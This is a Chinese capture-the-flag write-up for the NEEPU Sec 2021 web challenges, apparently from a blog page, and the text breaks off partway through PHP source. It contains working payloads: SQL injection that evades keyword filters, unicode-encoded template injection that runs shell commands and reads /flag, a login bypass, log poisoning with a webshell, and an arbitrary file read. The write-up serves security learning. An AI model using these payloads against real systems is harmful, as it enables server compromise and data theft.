[NEEPU Sec 2021 公开赛]WP

本文详细介绍了在网络安全竞赛中遇到的多种WEB安全问题,包括SQL注入、编码绕过、文件读取、PHP反序列化漏洞利用等。通过分析题目中的过滤规则和代码逻辑,作者展示了如何构造payload进行攻击,例如使用Unicode编码绕过关键词过滤,利用session_upload_progress进行文件上传,并通过构造特定的PHP类和方法调用来执行后门。此外,还涉及了PHP的mail()函数和file_get_contents函数的特性,以及如何通过它们执行命令和读取文件。最后,文章提到了如何通过多步骤操作获取服务器上的flag。

[NEEPU Sec 2021 公开赛]WP

前言:

这哪是新生赛呀,web方向题目难度还是特别高的,但是复现之后感觉质量真的挺高的,这里记录下感觉有点意思的题目

随便注2.0

这里过滤了上传用了的字符:

return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| |	|\./i",$inject);

但还是先注出一些有用的数据先把:

0%27;show%0ddatabases;%23
0%27;show%0dtables;%23
得到:"@Neepu2021招新赛"和"words"
0%27;show%0dcolumns%0dfrom%0dwords;%23

a

0%27;show%0dcolumns%0dfrom%0d`@Neepu2021招新赛`;%23

a

但是当我们输入1读取数据的时候,是一个2个数据的数组,所以这里就对应words列里面的字段,即默认查询words里面的数据,原题就可以使用rename@Neepu2021招新赛修改为words就可以读取了,但这里被过滤了,原题还可以使用PDO预编译,虽然这里过滤了set,但是其实不用set也可以,payload:如下:

0';PREPARE w0s1np from concat('sel','ect flag from `@Neepu2021招新赛`');EXECUTE w0s1np;%23

这里是为了看没有绕过空格,使用的时候直接把空格改成%0d即可

The_myth_of_Aladdin

知识点:

绕过{ {}} 空格 . _

这里可以采用unicode的方法进行绕过

a

发现可以利用{%print%}绕过{ {}}

然后过滤了关键字,尝试用编码绕过,发现就unicode编码能绕过,大致payload如下:

{%print(""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[132]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u0070\u006f\u0070\u0065\u006e"]("\u006c\u0073")["\u0072\u0065\u0061\u0064"]())%}

{%print(""["__class__"]
["__base__"]
["__subclasses__"]()
[132]["__init__"]
["__globals__"]
["popen"]
("ls")
["read"]())%}

ls命令可以成功执行,但当我们尝试读取flag的时候却不行,估计过滤了常见命令,可以使用base64 /f*绕过

最后payload:

{%print(""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[132]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u0070\u006f\u0070\u0065\u006e"]("\u0062\u0061\u0073\u0065\u0036\u0034\u0020\u002f\u0066\u002a")["\u0072\u0065\u0061\u0064"]())%}

{%print(""["__class__"]
["__base__"]
["__subclasses__"]()
[132]["__init__"]
["__globals__"]
["popen"]
("base64 /f*")
["read"]())%}

还有一个读取文件的方法:cut 截断数组带出

("c""ut%09-c%092-40%09/fl""ag")
即("cut -c 2-40 /flag")

gamebox

知识点:

SQL万能密码

日志包含

上来一个登录框(只有username),猜测后台的SQL语句为select * from user where username = '$username',但是ban了很多字符,如or||#--等等,这里把可以通过a'='0登陆上去,原理就是username=anullnull=atrue

然后就是猜正反

然后查看服务器是nginx服务,就去包含日志文件:/var/log/nginx/access.log

然后就在User-Agent包含一句话木马

然后连蚂蚁的剑就行了

serialize_club

知识点:

任意文件读取

反序列化链构造

session_upload_progress构造session反序列化

无字母webshell

getshell提权读取flag

进去查看原代码,发现

a

存在任意文件读取,读取functions/file.php

<?php
/**
 *	@author: Ricky
 *	@function: Read file
 *	@return string
 *	@param $filename string
 *  @param $dirname string
 **/

header('content-type:image/jpeg');
$filename = $_GET['file'];
$dirname = '/var/www/html/';
if(!preg_match('/^\/|\/$|\.\//', $filename)){
   
   
    $file = file_get_contents($dirname.$filename);
    echo $file;
} else{
   
   
    die('Read fail :(');
}

发现不允许目录穿越,只允许在/var/www/html这里

然后尝试读取index.php, 发现可以读取同时包含了config/backdoor.php

<?php
error_reporting(0);
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
class neepu {
   
   
    protected
        //! Neepu
        $neepu,
        //! Memory-held data
        $data,
        //! Info
        $info;

    public function __construct() {
   
   
        $this->neepu = "<a class=\"navbar-brand\" href=\"index.php\">Serialize</a>";
        $this->info['info'] = "<a class=\"navbar-brand\" href=\"index.php\">PHPINFO</a>";
    }

    public function checkinfo() {
   
   
        if(!isset($_POST['info'])) {
   
   
            echo $this->neepu;
        }else {
   
   
            echo $this->info['info'];
            phpinfo();
        }
    }

    public function __call($name,$args) {
   
   
        echo $this->neepu;
    }

    public function __toString() {
   
   
        $this->info['info']->data;
        return "Neepu!";
    }
}
class n33pu {
   
   
    public
        //! Neepu func
        $func;

    public function __get($args) {
   
   
        $Neepu = $this->func;
        return $Neepu();
    }
}
class dumb {
   
   
    public
        //! dumb
        $dumb;

    public function silly(){
   
   
        echo "Who care about it?";
    }

    public function __destruct()
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值